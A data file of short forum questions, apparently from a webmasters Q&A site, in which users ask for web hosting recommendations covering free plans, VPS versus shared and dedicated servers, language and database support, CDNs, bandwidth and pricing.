{"id":"10951","title":"Is there a free Django hosting service out there?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I would like to put my Django web-site online. Is it possible to do so for free?"}
{"id":"36180","title":"Recommanded cloud\/cdn for my website?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Currently we are using Cloudflare (Business) and it's great, except that our website is crushing for around 1 minute every 2 hours on average, and it seems they don't like to give us support. So, we are looking for alternative. I thought about Incapsula. Currently we have around 1mil pageviews daily. Can you guys please recommand for us what to use\/do? Thanks!"}
{"id":"14982","title":"MySQL server with website hosting with managed hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I work for a small business, and I _am_ the \"IT Department\". I also happen to be a summer intern, so after I leave the number of IT staff will be 0 for an indefinite period of time. I need a place where I can reliably put up the company's website as well as the mySQL+PHP backend. Good redundancy is a plus, as well as easy administration for my IT-challenged colleagues. Managed hosting would be good, so the PHP versions can update without my company having to hire an admin. **EDIT** : The company already has a mySQL+PHP server running locally which hosts the existing website. My assignment is to find a remote server where the latest versions of mySQL+PHP will be maintained and where there is a very small chance of unintended downtime. Can you recommend anything?"}
{"id":"25362","title":"I have a linux image how can I find somebody that will host it?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? The image has a site running on php 4 using some archaic CMS + some version of My Sql + etc. I need to find a host, but I am not sure if the hosting providers will host an old image I don't know who the previous host was, just being handed the image by the previous developer. PS : If there is an obvious solution that I am missing ( pardon my ignorance, I have not done this before, I am just a windows developer )."}
{"id":"20856","title":"Which Hosting Plan Should I use for this Web Application","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am developing a Web Application [PHP & MySQL] which is basically a rating website ( a social bookmarking site ). There are many tables in the Database like: Users, Notifications, Posts, Following and more. Which Hosting Plan should I use to host it : Shared or VPS. And yes, I don't think it needs a dedicated web server. If traffic grows, I will upgrade the plan to dedicated. One more thing: I am not using any CMS or Framework. I am writing the code myself and I will also try to make the website faster ( and lighter on the server ) by hosting CSS and JS files in DropBox. I will buy the hosting plan from Hostgator (India) : is it good or should I go with another company?"}
{"id":"16050","title":"Is there any recommended windows web hosting?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? My plan is to deploy a web site based on Asp.net + MS SQL server. I am not familiar with the windows web hosting market. Can anyone provide some suggestion? Thanks a lot."}
{"id":"33087","title":"Where can I host my app?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm creating an web app which is PHP based. Some more info about app: * Image processing (not heavy processing - GD extension requried \/ maybe ImageMagick later) * It'll mainly display images * MongoDB is required since app is built on top of it * Expected tons of people after few days after launch - easy scaling * PHP 5.3+ is required * European hosting is PLUS I want high quality service and uptime as high as possible, but since I'm 17 yo, I cannot pay too much. I also don't want shared hosting. I've checked phpfog.com \/ appfog.com and It seems good but it's a bit too expensive (~29$\/month app fog, later probably 79$\/month and then there is mongo hosting which is 15$\/month and later probably 49$+). I've heard for other hosting providers such as Linode, Amazon web services... But I don't really know which one to pick + what I'll have to know to set everything up. What are my other options? I've never had VPS (I have my own server home and all testing is done at home), and I probably wont know how to set everything up (postfix, failovers...). What can you suggest?"}
{"id":"33887","title":"Difference between shared hosting and PAAS?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? They seem very similar. Are there important differences I should be aware of?"}
{"id":"18480","title":"EU Python hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for Python hosting in EU. I need WSGI support (nginx+uwsgi, apache+mod_wsgi or similar). What are the options, excluding VPS\/dedicated server?"}
{"id":"42175","title":"Place to host picture\/sound gallery","text":"I have the following problem. I own a wallpaper\/ringtone collection mobile app and I need a place to host the collection itself. So I need a hosting with following parameters: * 1-2 GB disk space * large\/unlimited traffic (it will be media-file traffic) * large\/unlimited uniq users Can anyone help please?"}
{"id":"6495","title":"What should I use for storage for a photo-sharing website","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm building a photo-collection\/gallery sharing web-app. I need to know what I should consider for storage. I only have a few gb on my website. And it's not possible for me to get the amount of storage I need, the same place I have my website. Would it make sense to use a cloud-service for this purpose? Is it possible to use some online storage service like hotfile or the likes? What would be best? I'm thinking at least 20-30 gb of space is needed. Thanks in advance."}
{"id":"12743","title":"Looking for recommendation for PHP app hosting with (relatively) painless scalability","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? We're a pre-launch startup with a LAMP based application. We're looking for recommendations for hosting services for our upcoming beta launch. Our main requirements: 1. LAMP support 2. Ability to schedule\/start daily\/hourly server-initiated batch jobs against our databases. 3. Relatively painless scalability when we grow - adding servers\/databases\/bandwidth without having to re-architecture everything or cause major outages. 4. Support for Wordpress Pointers will be appreciated."}
{"id":"54756","title":"I need a flexible VPS like gandi.com","text":"What are the alternative? I do not ask for which one you recommend. I am simply asking for list of similar service. That being said if there is any you've used and happy with please let me know. This is what I am considering http:\/\/en.gandi.net\/ Some says it's overpriced. It's like amazon aws I think. So I need VPS hosting where I can easily change the CPU requirement, etc."}
{"id":"48242","title":"Advice scaling website","text":"We could use advice on a scaling\/ops issue. We have a simple website that runs on Rails 3.2.12 and uses MongoMapper instead of ActiveRecord. There is one database call that sporadically performs poorly, causing users to write in and complain. It isn't clear why. We can't install NewRelic because of MongoMapper, and the data returned by Mongo isn't a lot. There isn't much logic being executed in the controller, either. One potential explanation is that we use a VPS shared with 30 nodes. The hosting company, RailsPlayground, says the machine's average I\/O utilization is only 12% but can't provide more extensive stats (e.g., peak I\/O utilization). The question: would moving to a dedicated server help? I realize this is difficult to answer, but any general thoughts\/advice would be appreciated."}
{"id":"26774","title":"Specific hosting or virtual machine?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm searching for hosting for the back-end and web client of an application that uses node.js and mongodb on the back-end and PHP on the web client. There are many options for hosting node: * Heroku * Nodester * Joyent For PHP nearly all hosting options are able of rendering PHP, for mongodb the node hostings allow databases as well. The project will have low usage, would it be better to use a VPS hosting where I can install all the software needed (PHP, Node and Mongo) like AmazonsEC2 micro instances? Are there any good alternatives to Amazon EC2?"}
{"id":"11356","title":"Clustered Web host","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I live in Denmark in the daily and need to find a web host that can keep up at the world level. Should there be some who is familiar with hotels that can follow the requirements below. **Overall** * Clustered Web * 24\/7 Expert Helpdesk and Server Monitoring * Linux Operating System * Unlimited Subdomains * 50 MySQL Databases * FTP and FTPS Access * Fast connectivity to any destination - World Wide. (Stable\/Low DNS, TTFB and similar) **Management** * Full DNS Management * Web Mail Access * phpMyAdmin * Cronjobs **Mail** * IMAP\/POP3\/SMTP * Mail Auto Responders * Catch-All Mailbox * Microsoft Exchange Enabled **Apache** * Python and perl CGI Support * Secure Server (SSL) * mod_rewrite * Full .htaccess Support **PHP** * PHP v 4.4 & 5.2 * ImageMagick and GD * CURL * RTF, POWERPOINT, EXCEL, WORD and PDF parser * Zip Utility * xhprof"}
{"id":"18389","title":"Good service to host CPU intensive web application","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Currently, I am a happy user of google app engine. However, I am planning to host a CPU intensive web app (which is going to apply all sorts of signal processing algorithm), is there any other good service which is available? As I realize google app engine has placed restriction on per minute CPU time. http:\/\/code.google.com\/appengine\/docs\/quotas.html#Per-minute_Quotas"}
{"id":"6938","title":"Hosting plans that allow more then 1 GB for mysql and easier mod_rewrites?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm using godaddy and am thinking of moving to another hosting company that allows easier mod_rewrites and a bigger limit for a mysql database. Does anyone know of a better hosting company that does this?"}
{"id":"13537","title":"I need a cheap, reliable, virtual webserver service","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? So, we used linode.com for a while, and that was awesome, but I need my own virtual server now, and the problem with linode is that you had to install everything from scratch. I'd like a server I can get my hands on with a default installation of everything necessary, the ability to use root and all that (that said, I'd prefer linux... though I have experience with windows server, just don't prefer it for my webhosting), and any kind of decent management tool online. I don't want to spend more than $20 or $30 a month on that, and that is super important. If I can't get a good VPS, what is a good site for hosting that isn't GoDaddy? I've only used GoDaddy, client's servers, or my current webserver on linode. Thanks everyone!"}
{"id":"26667","title":"what is the best dedicated hosting provider for a file sharing site?","text":"What is the best place to host a file sharing site? What is dedicated linux hosting and windows hosting? What do I need to start a file sharing site?"}
{"id":"23942","title":"How can I choose a reliable dedicated or semi dedicated Windows hosting?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? # How to find your hosting company 101 for dummies _There's a TL;DR at the end._ ## Long version I've been asked by a friend who understands nothing about information technology to help him from being scammed. This person runs a family-size retail company through an e-commerce, developed and hosted by the same web agency. He no longer trusts this web agency, and wants to get away from them; the first step he wants to perform is to move the e-commerce from the agency's servers to an external hosting, and here is where I've been involved. I'm a web developer with some background in networking an system administration, and I understand the difference between VPSes, dedicated servers and managed\/unmanaged, but I never went through the burden of choosing a (semi) dedicated hosting for a site you live off. I don't necessarily have to give him a (or more than one) name, but at least I need to give him a range of prices and kinds of services; things like maintenance of the web site or the machine is not and such are not part of the discussion, at the moment. My \"analysis\" should include a \"minimum\" and a \"maximum\" price, and the services these prices offers, both for VPS and dedicated server solutions. I've been searching around for a couple of time and found some hosting companies, I also tried to look around for reviews and comments about them but it's a daunting task, and I got more confused then when I started; I've found everything and its opposite, who should I trust? If it matters, his e-commerce is spec'ed like this: * Classic ASP * SQL Server 2000 * A couple of IIS and ASP plug-ins * Around 250 MiB of space * Runs on a 6 MiB line with other ~30 sites * I do not know his average daily traffic, but definitely it's not Yahoo or Facebook ## Short version I'm here, fellow webmasters, to hear your opinion: * Are there on the net some reliable hosting companies comparison sites? What I found so far looks quite amateurish, and doesn't provide mush info besides a ranking. * Are there some reliable sites where I can find reliable reviews of the hosting companies? What I found so far is forums filled by differently technical flaming users and their signal-to-noise ratio is awful. * How can I tell a good hosting company from a bad one? What should I look for? Things like \"unlimited\", \"unmetered\" and such things are the basics, what's the next step? * Remember, this question is not about which hosting company is \"right\", but how can I find a reliable one (I'll evaluate which are \"right\" after, when comparing their offers). P.s. I deliberately omitted the link to the sites I found to avoid bias, if they should be included I'll gladly add them."}
{"id":"11112","title":"Java hosting service provider?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I want to host a Java web application. How to decide which hosting service provider to choose from. Is there any source of info where from I can get such info. Yes most important, being from India which service provider service should I use, from those who say there servers are located in US or they who say their servers are located in India itself. Thanks in advance from any suggestion\/reply to this query."}
{"id":"19585","title":"Hosting rails sites; vps or shared, and how much ram?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have 3 rails sites to launch, all of which are fairly small and consisting of a custom cms, one with an online store, and 2 sinatra sites which are mainly static, portfolio sites. What would be the best way to host these sites (I've deployed on dreamhost shared before and some vps's) Is it best to manage them together under one vps? e.g linode $20\/m (for the cheapest option, 512mb and would that even be enough ram?) or keep each rails site separate and host each one on a small vps? e.g $4\/m (there's often lots of deals like this on webhostingtalk) I'm currently hosting the sinatra sites for free on heroku but finding it a bit slow sometimes."}
{"id":"31022","title":"$5 File Hosting with API","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Could anyone suggest a reliable file hosting service for personal use with developer API that will not cost more than five dollars. Thank you"}
{"id":"25648","title":"What's the most reliable FREE web hosting for WordPress blogging?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'd like to hear the opinion of those who have been using such a service for at least half year or more. I have my own registered .com.ar domain. It would be great if it is ad-free also. Thanks in advance for your sharing your experience."}
{"id":"54962","title":"What to look for in a free hosting plan?","text":"I have a test website that's hosted on a free plan by Zymic. At the moment I'm typing, it and my site is down. I don't want to let my clients down in the future. It's been down for over 2 days. I thought it was a coding problem at first, and then found out I couldn't connect to my server. Zymic had very good reviews, and its downtime was OK (not high or low), but now I want to change my web host. What should I look for (besides downtime guarantee)? Also, do you have any suggestions that with all the benefits? Any feedback will be greatly appreciated."}
{"id":"13364","title":"What hoster offers automatic Wordpress upgrades (like Dreamhost) and _also_ spreads your sites over range of unique IP addresses?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I just love the One-click-install and automatic Wordpress upgrades at Dreamhost. However, I am looking for a hoster where I can be sure that my sites end up with different IP addresses (for SEO reasons). Dreamhost does not offer that option, you have to buy unique IP-addresses for every site if you want to do so, which is expensive. I do not care that it is shared hosting, meaning that my sites share the same IP address with other sites, as long as they're not on the same IP themselves (and yes, preferable not within the same IP range). Do you know of a hoster who offers the Wordpress managing comfort of Dreamhost yet lets you spreads your sites over multiple IPs? (note: inspired by a similar discussion at this Dreamhost forum: http:\/\/discussion.dreamhost.com\/thread-129719.html"}
{"id":"56341","title":"Coldfusion hosting in New Zealand","text":"I am looking for a NZ based hosing company. Can anyone advise a good hoster with Coldfusion support, SSL, based in New Zealand? Thanks!"}
{"id":"59602","title":"Recommendations for small hosting solution with lots of support","text":"I maintain a personal website though have never put much effort in building up the front-end. I really just use it as a testbed for various projects I'm working on or tinkering with. For a few years I've maintained an account with Hostgator but they've gotten to the point where I'm rather fed up. Anyone have recommendations on best alternative? I don't need a ton of space, or bandwidth, but I do need full ssh access, ftp access, php, perl, mysql, etc.. the basics.., and the ability to modify or change the php installation and install various packages (ruby, php, python is an extra plus) and I don't want to pay an arm and a leg. Doesn't exist.. yeah, I know."}
{"id":"6425","title":"Are there any Shared Web Hosts that provide access to run Windows Services?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'd like to be able to have a very lightweight Windows Service call some code on the Web Server at regular intervals. Do I have any options besides a Dedicated\/Semi-Dedicated Server?"}
{"id":"6203","title":"Free ASP.NET & MS Access support webhosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for a free webhosting plan to test my website before buying someone. Sopport for : ASP.NET 3.5 & MS Access 2003. Thanks."}
{"id":"5643","title":"Free webhosting Vs Paid webhosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I would like to know the pros and cons of free webhosting vs paid webhosting. What are the factors due to which we should move on to paid web hosting?"}
{"id":"4908","title":"linode.com\/slicehost.com\/vps.net what to chose?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking for a new VPS for http:\/\/hotelpublisher.com. At the moment it is either linode.com, slicehost.com or vps.net (alternatives are welcome). Since I already use Google cloud to deliver data, my priority is ram\/cpu\/reliability\/price. Can anyone advice which of the VPS providers is the best in their opinion and why?"}
{"id":"23668","title":"looking for web hosting or web dedicated servers services, not sure","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am building a website for a church, this websites uses mysql php and for list of members and savng events, etc... The problem is that i havee no much expirience publicating sites. i need web space to publish this site. and this web space have to be php and msql compatible. please help, any info will be much appreciated. looking to spend no more than 30.00 a month thanks"}
{"id":"39357","title":"Github download is deprecated","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm using Github for a Open Source project, we have also used their file system so that users can download our binary installers and not just the source code. But downloads are now deprecated https:\/\/github.com\/blog\/1302-goodbye-uploads Whats the best free service for hosting downloads? Analytic features are a plus but not a requirement. **Update:** Someone closed this question even though the linked question has nothing todo with Github. Anyway, the answer is that Github now support a feature called releases. https:\/\/github.com\/blog\/1547-release-your-software"}
{"id":"13367","title":"is there any free java(grails)(tomcat) hosting server?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I want to host my grails application in net for testing ... is there any free server sites? supports grails,mysql"}
{"id":"5641","title":"The best web hosting option to start off on","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm extremely new to hosting, and i've just finished developing a site for my friend. If you were to select a web host with great support and affordable price, which one would it be?"}
{"id":"28381","title":"Website Hosting\/Registration","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am planning to launch a website down soon. I wanted to know what solutions are available for hosting and registration. * Starting with domain registration. Any site you have used\/preferred ? I am considering either godaddy or 123reg. Does it even make any difference which you choose? Is there any fine print i need to worry about. I am based in UK , not sure if that helps in resolving any issues if encountered. * Does my hosting need to be done at the site i purchased my registration? If not , will there be any transfer fees if i change my hosting? Can I just register the name now and worry about hosting later? * At the moment, I plan to have it up and running using either some sort of a tool or a template and perhaps put the bells and whistles down the line. I understand 123 has its own builder tool available, There are a few solutions suggested like wordpress,drupal & jhoomla... I am a C++ developer , not a web programmer, but I do feel the need to open the hood up and make changes if i see fit. So I guess I am looking for a solution where I can easily drag-drop widgets I need and when the time comes customize it. Which CMS would you recommend. * Extras: What extras do you need to get , I was suggested to get hold of whois privacy to keep the spambots away, anything else you guys would recommend I keep my eyes open before I sign the dotted line."}
{"id":"34591","title":"Hosting advice for a write-heavy dynamic website","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have built a website using PHP and MySQL and now I am looking for a hosting service. I am expecting about a 1000 users registering and about 5-10k pageviews\/day in a week's time. So which host should I opt for? It will let users submit contents of type blobs and submit around 10 pictures per users. I hope that traffic will increase so can justhost's or bluehost's shared hosting serve that purpose or should I go for more dedicated ones. Basically the site is write heavy and there are average 2-3 MySQL queries per page and it is quite dynamic. So depending on these requirements which web hosting will be optimal for me."}
{"id":"27728","title":"Dedicated Servers: Is one better then two for LAMP pseudo HA setup?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I know there are zillions of commentary about hosting out there, but I haven't read much about this. Our current well known host is having too many problems, the hardware we are on it subpar, and I'm ready to leave. A day of downtime can cost as much as our monthly hosting bill. A month of bad performance is just killing us right now, user and google wise. I'm wondering about running two dedicated boxes for LAMP, one running as the primary Nginx\/Apache (proxy pass), and the other as the MySQL box. Running a single box scares the bejesus out of me because who knows how long it will take anyone to fix a raid card or whatever. The idea is to set this up using some sort of failover system using pacemaker and heartbeat. If one server goes down the other can take over for the other running both web and db. There are some good articles over at Linode about this. I have a few DBs that are 1GB+ and would like to load them into memory. Because of this, I'm shying away from a Linode HA setup because for the price I could do it with two dedicated like I described. Am I mad or an idiot? What are people out there doing for pseodu high availability good performance setups under $400\/month? I'm a webmaster; I do a lot of things none of it that well :)"}
{"id":"5098","title":"Need Sql Server Hosting 50GB or More","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking for a Hosting solution (Dedicated or Shared) which will allow me to host a SQL Server database service (Not SQL Express but the Web edition). The size of my database might grow to 50GB or more. The web application will offer more reads than write operations. I also need daily backups and raid 1 storage. Is there a reliable and economical hosting company that would provide this? Additional Question: If there is a easy way to host MS SQL on Amazon EC2 service, it will be preferable."}
{"id":"59974","title":"Is there a way to compare the speed of potential webhosts?","text":"I want to get VPS hosting, but don't know according to what should I choose, especially how do I know if its speedy enough?"}
{"id":"63513","title":"Visual Studio 2012 C# web application to hostgator?","text":"I have a web application I developed in visual studio and I am looking to get it hosted on a domain I registered. The server side of the application is in C#. Is there a way I can get this application hosted on hostgator? How would I go about doing that? If not, what are some options I have?"}
{"id":"67525","title":"Best Free Webhosting with MySQL & outside access?","text":"I am looking for some free webhosting to test some programs on. Need the following: Ability to point my DNS to it PHP & MySQL Allows outside connections (ie: I can access MySQL from my own computer using Java or Python) More bandwidth the better! FTP Support Thanks for your help."}
{"id":"7712","title":"Help selecting dedicated server with good disk I\/O & network","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking for a cheap dedicated server. (I was earlier happy with VPS, until I realized that the disk I\/O is not at all reliable and depends on what your neighbours are up to at the moment). I was browsing through http:\/\/www.lowenddedi.net\/the-database I don't understand memory speed and NIC speed columns at all. What will be their affect? Do I need to worry about them? Also, can someone help suggest a provider, with following criteria: 1) Good & reliable Network 2) Price <= $60\/month."}
{"id":"54455","title":"The absolutely cheapest way to host my tiny website?","text":"What I need: a domain name, 10MB of disk space, 1GB bandwidth, php+mysql is there anyway I can get this all for under $1 a month?"}
{"id":"63115","title":"What Webserver Do I Need For A Social App","text":"I am making a social application that its base work is like twitter. When user opens app,it fetches data(texts and images) from server and listitems will be filled and users can be followed and etc. I think number of users for it is up to 500,000 and i want to use `node.js` for server side because it's faster that php. How should i find best `webserver(VPS,dedicated,...)` for this application?"}
{"id":"9427","title":"HTML\/CSS website hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I would like to host my HTML\/CSS website (actually, just one page, but it may grow). Since I don't need PHP, MySQL or such things, I don't want to spend much. Is there anything out there? Thank you."}
{"id":"6339","title":"Best .Net 4.0 web hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? After dealing with problematic web hosting company, I have to move to a new one. Which do you think is the best for .Net? TY"}
{"id":"3504","title":"Looking for new hosting after Dreamhost","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I'm looking for new personal hosting after using Dreamhost for a while. I'm looking for hosting which has the following features: * Shell access (obviously) * Prebuilt LAMP stack (optional) * Python\/Ruby support * Scalable * Good speeds around the world (I travel a lot) * Not too expensive? What are you using currently for hosting and why do you like it?"}
{"id":"14995","title":"how do i choose a web host with support for mysqli extension in php?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have designed a website running in php and mysql. And I used mysqli extension instead of the normal mysql extension in php, so all my functions are now on mysqli. After developing a major part of the website, i started looking for suitable webhosts, and found that there are few that offer support for mysqli extension. I'm not sure if I really made a mistake by preferring mysqli instead of mysql. Could you please let me know - a) whether mysqli support has to be confirmed with the host before I sign up for their web space account b) whether mysqli support will be given by default in all php 5.2+ versions c) any good (paid, but not too expensive) webhosts with reliable service offering support for mysqli extension (in shared server more, not dedicated server) NOTE - mine is a small business, and i'm looking for a shared mode web host for now. Thanks!"}
{"id":"19851","title":"Looking for a CDN","text":"Most of the CDN's that I've seen require you to upload your content in advance. I'm looking for a CDN that, upon receiving a request for a resource it hasn't seen, will contact my application server. If the application server returns something, it should be sent to the user and then cached in the CDN. If not, it should just return a 404. If the user requests an unexpired item, the CDN should just serve it without bothering my app server. Does anything like this exist? Is there a way to get Cloudfront to work like this?"}
{"id":"30709","title":"One domain multiple web hosting?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have a website that only supports PHP. What I'm thinking is that I want to purchase another web hosting and that supports Ruby Rails and Python. Is this possible?"}
{"id":"18297","title":"Hostings support SSH with price lower than 5 USD","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am looking for some hostings support SSH with price lower than 5 USD. Thanks"}
{"id":"59229","title":"Recommendations for safe and good hosting sites for a personal website?","text":"Can someone provide some recommendations for safe and good hosting sites for a personal website? What is github that I hear about? Can I host my basic website on github?"}
{"id":"59732","title":"Could you Advice me: Do I have to pick a VPS?","text":"My plan: 1) Create Website 1 on Main Domain = www.example.com which is based on the Joomla CMS 2) Create Website 2 consisting of OpenAtrium (Drupal) on Sub-Domain = start.example.com 3) Create Website 3 consisting of Moodle (Open Source Learning Platform) on Sub-Domain 2 = learning.example.com Was looking for a cheap UK based server with a PHP 512MB limit."}
{"id":"29935","title":"Hosting a small e-commerce website from home. Recomended?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I live in the UK and I current use JustHost to host several domains. I think they are very reasonable but recently one a the domains came under a massive SPAM attack which flooded the MySQL database and because the activity it causes went again their Terms Of Service they subsequently suspended my account. Admittedly, it is not their fault but we have struggled to contact them to get the account reactivated due to the difference in time zones, as they are based in the USA. Because I host websites for other people and I am going to be launching an e-commerce website soon, my dad is quite concerned now and is suggesting we move to a better solution. I'm hoping that such an incident wouldn't happen again, but because I'm running a business I can't really take that risk - I need to eliminate as many possibilities of the sites going down as possible. AND if there is an issue at anytime, we can't do with different time zones preventing it from being resolved as soon as possible. We already have a server and a computer that are running 24\/7 anyway and we use Virgin Media with a 60Mbps connection so my dad thinks we could host the sites ourselves, especially if we buy a UPS. I must admit that the idea is attracting, but I'm just worried about the load because I have no idea how many people will be using the websites. At the minute there isn't too many visitors, but with the promotion I going to do, I'm hoping the numbers will be in the thousands at least. I'm no expert at web performance or anything so please forgive me. However, I can't see there being much more than 15GB files any time soon, and there is very little anyone can download. The main footprint is the large MySQL databases that the websites relay heavily on then. So, can anyone give me there advice\/opinions on what you think I should do. If you have any experience with this sort of think I'd be interested to know also. We have already decided that at some point we would need to move to, at least, a dedicated server but I'm not sure what to do know. Obviously, I don't know much about actually running a web server but I think I am pretty literate and I could easily learn - to me it is just a case of the logistics of everything etc. Thanks in advance"}
{"id":"44720","title":"Hosting solution for digital content only","text":"I have a client that is wanting to provide free downloads for their digital content but at this time they're wanting a free solution for the startup. I have seen Amazon s3 services but its paid. I am unaware of any other solutions for hosting securely content that can be linked to a website for download. They are wanting the download to be called from an external source but processed still from their site, if that helps. I told them SourceForge may be a solution but they didn't want their viewers leaving the main site."}
{"id":"12421","title":"What is the best free hosting provider for my site?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I have a small \"hobby\" site that generates almost no income for me (but still is fun to run, and that's why I keep it around). The site get's about 75 hits a day, though I could easily see that increasing to 200 or more in the future. I want to move it to a free hosting provider. The hosting provider should support the latest versions of php and mysql, should be able to run wordpress installations, and should have pdo and sendmail enabled. Does anyone have any recommendations? Thanks :)"}
{"id":"8365","title":"Could you suggest me the cheapest and most \"basic\" hosting\/server solution for my website?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? My website (a soccer portal, containing Joomla and SMF) in the last months has grown so much that the shared-hosting service I bought about three months ago has decided to rescind our contract and pay the remaining nine months (since the contract is for one-year). I already searched on the net and on stackexchange too, of course, but I didn't find a solution to this problem. The website's load is about 280'000-300'000 hits\/month. That's about 10'000 hits\/day. This is the main reason they rescinded the contract: we exceeded the number of processes allowed: no other reason exists. On the web, I read they all say that \"if you use a lot of resources, you need a dedicated\/virtual server\" (something like a VPS). Ok, so I've searched for a VPS, but I've found they are all too expensive! The cheapest I've found (on this Q&A board) is Linode, that's about 20$\/month. That could be a very good solution, but I've still some doubts. My question is: granted that some friends of mine are system analysts, so I wouldn't spend any money to administrate the server, can you suggest the cheapest and most basic hosting\/server solution (I mean VPS, dedicated- hosting, shared-hosting, cloud...) for my problem? As I've already said, our website uses two technologies: Joomla and SMF, so we need the most basic solutions. We don't offer emails to our users, we don't need subdomains, we don't need special technologies as Zope, Tomcat and so on. The most basic: PHP\/MySQL. And _if exists_ CPanel, just for ease. Linode is the best I've found, but do other solutions - according to my parameters - exist? Thank you very much."}
{"id":"9061","title":"WebHosting solutions allowing self-made Apache modules","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am searching for a web hosting solution that would allow me to use my own Apache modules written in C. Have you any idea who would offer that ? I have dupplicated that question from ServerFault.com, maybe this question is more appropriate here."}
{"id":"5441","title":"Free java hosting?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Anyone know url of free java hosting? Thanks!"}
{"id":"9010","title":"Recommend hosting with fast MySQL database please","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? I am frustrated to no end with my current hosting provider, mediaTemple. Yes, they are flashy, and have some decent degree of flexibility with their GS plan, which I have. But anytime I install a site that needs a database, it is slow. like really slow. Taking anywhere from 10 - 15 seconds just to load a page. I would host in house, but there are a lot of complications that come with a LAMP server that I don't want to deal with. Honestly, I'd rather spend the time developing. What can you recommend?"}
{"id":"25112","title":"Podcast bandwidth","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? **The situation** Hi folks, I host a medium sized non-commercial audio-only podcast available through the standard ways (website streaming, itunes, stitcher, zune, etc). All these ways of listening are hotlinked back to a simple ftp server running on a VPS. We've recently been asked to leave that VPS because we're averaging 50GB per day of traffic. **The problem** I'm looking for a new method of hosting these media files. Transfer speed doesn't matter much, so long as people don't get refused a connection, but overall bandwidth per month does. Also, all the actual site hosting, rss, and other podcasting stuff is already handled and we're not looking to change it. Literally all we need is a new place to store and distribute our media files with hotlinks. **The solution** So far, the best solutions I've found are an order of magnitude more expensive that what we have now. All podcast CDNs seem to charge by the GB of transfer, or GB on disk, or both. All the regular webhosting I've found turns me away when they hear that 50GB per day number. I've considered getting several VPSes and trying to balance the load, but that would be an awkward solution, and a badly coded one as well if I had to do it myself. Is there anything I'm missing? I'm willing to look into anything."}
{"id":"53588","title":"Price per hour or per month","text":"I am trying to select a host for my Node.js applications. They are low-traffic applications - I expect an average of 1-2 hours of use per day, so I am looking for a package where I can pay per use only. But I am confused by the different pricing schemes of price per month vs. price per hour - I am not sure which price takes effect when. For example, DigitalOcean FAQ says that: _\"If you use your server for less than 672 hours during the month, you will be billed for each hour that you used it. If you use your server for more than 672 hours that month, you will be billed at the monthly cost\". But on the other hand, in the next question they say: \"Am I charged while my Droplet is in a powered-off state? - Yes. Your diskspace, CPU, RAM, and IP address are all reserved while your Droplet is powered off\"_. If I understand this correctly, this means that, even when no one enters my website, they charge me as if I do use the site. As another example, AtlanticNet says that: _\"With per-second billing, you only pay for what you use\" ... \"Monthly pricing based on average use.\"_. If I understand this correctly, this means that the only effective price is price per hour, and I pay only per actual use. So, my question is: if my Node.js application is always on and waiting for users, but users use it only 1 hour per day, how much will I pay? Will I pay for an entire month, or only for 30 hours?"}
{"id":"7200","title":"CodeIgniter Hosting","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Where can I find affordable web hosting for Codeigniter web application? I need hosting that supports all the PHP extensions that Codeigniter requires? Anyone recommend a dependable company?"}
{"id":"6815","title":"Things to consider while choosing a web hosting service?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Also does the country matter?"}
{"id":"12391","title":"Hosting provider for both ASP.NET MVC 3 and MongoDB?","text":"> **Possible Duplicate:** > How to find web hosting that meets my requirements? Are there any hosting providers out there where you can host an ASP.NET MVC 3 Web application that uses MongoDB? I know about MongoHQ but I'd really prefer to host the code + the DB at the same provider."}
